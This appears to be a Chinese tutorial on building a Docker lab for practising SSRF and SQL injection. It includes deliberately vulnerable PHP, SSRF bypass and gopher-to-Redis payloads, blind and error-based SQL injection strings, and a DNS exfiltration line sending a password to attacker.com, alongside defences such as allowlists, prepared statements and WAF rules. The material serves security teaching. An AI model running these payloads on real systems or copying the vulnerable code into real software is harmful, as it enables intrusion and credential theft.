1. SSRF与SQL注入靶场构建概述
在网络安全学习与实战演练中,靶场环境是不可或缺的训练场。一个好的靶场应该具备典型漏洞场景、可控的实验环境和清晰的学习路径。SSRF(Server-Side Request Forgery)和SQL注入作为OWASP Top 10长期上榜的高危漏洞,其靶场设计需要兼顾漏洞原理展示和实战演练需求。
我曾为多个企业内训搭建过这类靶场环境,发现许多初学者常陷入两个误区:要么使用过于简化的Demo无法体会真实攻击场景,要么直接拿生产系统练习导致安全事故。本文将分享如何构建一个既安全又贴近实战的SSRF+SQL综合靶场,包含环境配置、漏洞设计、防御方案等全流程细节。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 靶场架构设计与技术选型
2.1 基础环境搭建
推荐使用Docker容器化部署,既方便环境隔离又易于快速重置。基础服务包括:
- Web服务器:Nginx+PHP-FPM组合(版本建议PHP 7.4+)
- 数据库:MySQL 5.7/8.0(需开启日志记录功能)
- 辅助服务:Redis、Memcached等(用于SSRF内网探测场景)
关键配置要点:
bash复制# docker-compose.yml示例片段
services:
web:
image: nginx:alpine
ports:
- "8080:80"
volumes:
- ./web:/var/www/html
- ./nginx.conf:/etc/nginx/conf.d/default.conf
db:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: "vulnlab@123"
MYSQL_DATABASE: "ssrf_sql_db"
volumes:
- ./mysql-data:/var/lib/mysql
- ./mysql-log:/var/log/mysql
2.2 SSRF漏洞场景设计
SSRF靶场应包含以下典型场景:
- 基础SSRF:通过URL参数触发外部请求
- 协议处理漏洞:file://、gopher://等协议利用
- 云服务元数据利用:模拟AWS/阿里云元数据接口
- 内网服务探测:结合Redis未授权访问等漏洞
PHP实现示例:
php复制// ssrf_vulnerable.php
$url = $_GET['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
echo $response;
重要提示:必须在隔离网络环境中测试云元数据模拟接口,避免误操作真实云环境
2.3 SQL注入漏洞设计
SQL注入靶场应覆盖:
- 报错注入:通过错误信息获取数据
- 布尔盲注:基于真假条件的推断
- 时间盲注:利用延时函数判断
- 堆叠查询:执行多条SQL语句
- OOB带外通道:DNS外传数据
MySQL关键配置:
sql复制CREATE TABLE `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
`email` varchar(100) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- 故意使用动态拼接SQL的PHP代码
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
3. 核心漏洞实现细节
3.1 SSRF高级利用技巧
-
绕过过滤的常见方法:
- 使用进制编码:127.0.0.1 → 2130706433
- 域名重定向:设置自己的域名解析到内网IP
- URL解析差异:http://evil.com@192.168.1.1
-
协议利用示例:
http复制http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0aINFO%0d%0a
- 云元数据模拟接口实现:
python复制# 使用Flask模拟AWS元数据服务
from flask import Flask
app = Flask(__name__)
@app.route('/latest/meta-data/iam/security-credentials/')
def meta_data():
return 'admin-role'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
3.2 SQL注入实战要点
- 报错注入利用:
sql复制-- MySQL报错注入示例
1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
- 时间盲注检测:
sql复制-- 基于SLEEP的检测
1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))>100,SLEEP(3),0)
- 带外通道实现:
sql复制-- DNS外传数据示例
1; LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share\\test.txt'))
4. 防御方案与靶场进阶设计
4.1 SSRF防护措施
- 输入验证方案:
- 使用白名单校验域名和IP
- 禁用危险协议(file://、gopher://等)
- 解析URL后校验目标地址
PHP改进代码:
php复制$allowed_hosts = ['api.example.com'];
$url = parse_url($_GET['url']);
if(!in_array($url['host'], $allowed_hosts)){
die('Access denied');
}
4.2 SQL注入防护方案
- 参数化查询示例:
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);
- Web应用防火墙(WAF)规则:
nginx复制location / {
# 基础SQL注入防护
if ($args ~* "union.*select") {
return 403;
}
if ($args ~* "sleep\(|benchmark\(") {
return 403;
}
}
4.3 靶场进阶功能
- 攻击日志记录系统:
python复制# 日志分析示例
import json
from datetime import datetime
def log_attack(ip, payload, vuln_type):
entry = {
'timestamp': datetime.now().isoformat(),
'ip': ip,
'payload': payload,
'type': vuln_type
}
with open('attack.log', 'a') as f:
f.write(json.dumps(entry) + '\n')
- 自动化漏洞检测接口:
bash复制# 使用curl测试SSRF防护
curl -G --data-urlencode "url=http://169.254.169.254/latest/meta-data/" \
http://localhost:8080/ssrf.php
5. 常见问题与调试技巧
5.1 SSRF相关问题排查
- cURL错误处理:
php复制curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 禁用SSL验证(仅测试环境)
curl_setopt($ch, CURLOPT_TIMEOUT, 5); // 设置超时
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Host: example.com' // 覆盖Host头
]);
- 协议支持检查:
bash复制# 查看PHP支持的协议
php -r "print_r(stream_get_wrappers());"
5.2 SQL注入相关问题
- MySQL日志分析:
sql复制-- 开启通用查询日志
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/log/mysql/mysql-query.log';
- 特殊字符转义问题:
php复制// 错误的安全措施(仍然可绕过)
$input = str_replace("'", "\\'", $_GET['input']);
// 正确做法:使用预处理语句
- 盲注效率优化技巧:
sql复制-- 使用二分查找加速盲注
admin' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>128#
6. 靶场使用建议与教学实践
6.1 分阶段训练设计
-
新手阶段:
- 基础SSRF:读取本地文件
- 显错SQL注入:获取数据库版本
-
中级阶段:
- 无回显SSRF:端口扫描
- 盲注:逐字符获取数据
-
高级阶段:
- 组合利用:SSRF+Redis未授权访问
- OOB注入:DNS外带数据
6.2 典型实验设计示例
实验1:SSRF内网服务探测
- 通过SSRF扫描内网Redis端口
- 利用gopher协议发送Redis命令
- 写入Webshell获取权限
实验2:SQL注入完整利用链
- 发现注入点
- 获取数据库结构
- 导出用户凭证
- 登录后台获取权限
6.3 安全开发实践
- 安全代码审查要点:
python复制# 安全代码示例(Python)
from urllib.parse import urlparse
import requests
def safe_fetch(url):
parsed = urlparse(url)
if parsed.hostname not in ALLOWED_DOMAINS:
raise ValueError("Invalid domain")
if parsed.scheme not in ('http', 'https'):
raise ValueError("Unsupported protocol")
return requests.get(url, timeout=5)
- 自动化测试方案:
bash复制# 使用sqlmap测试注入防护
sqlmap -u "http://target/search?id=1" --skip-waf --batch
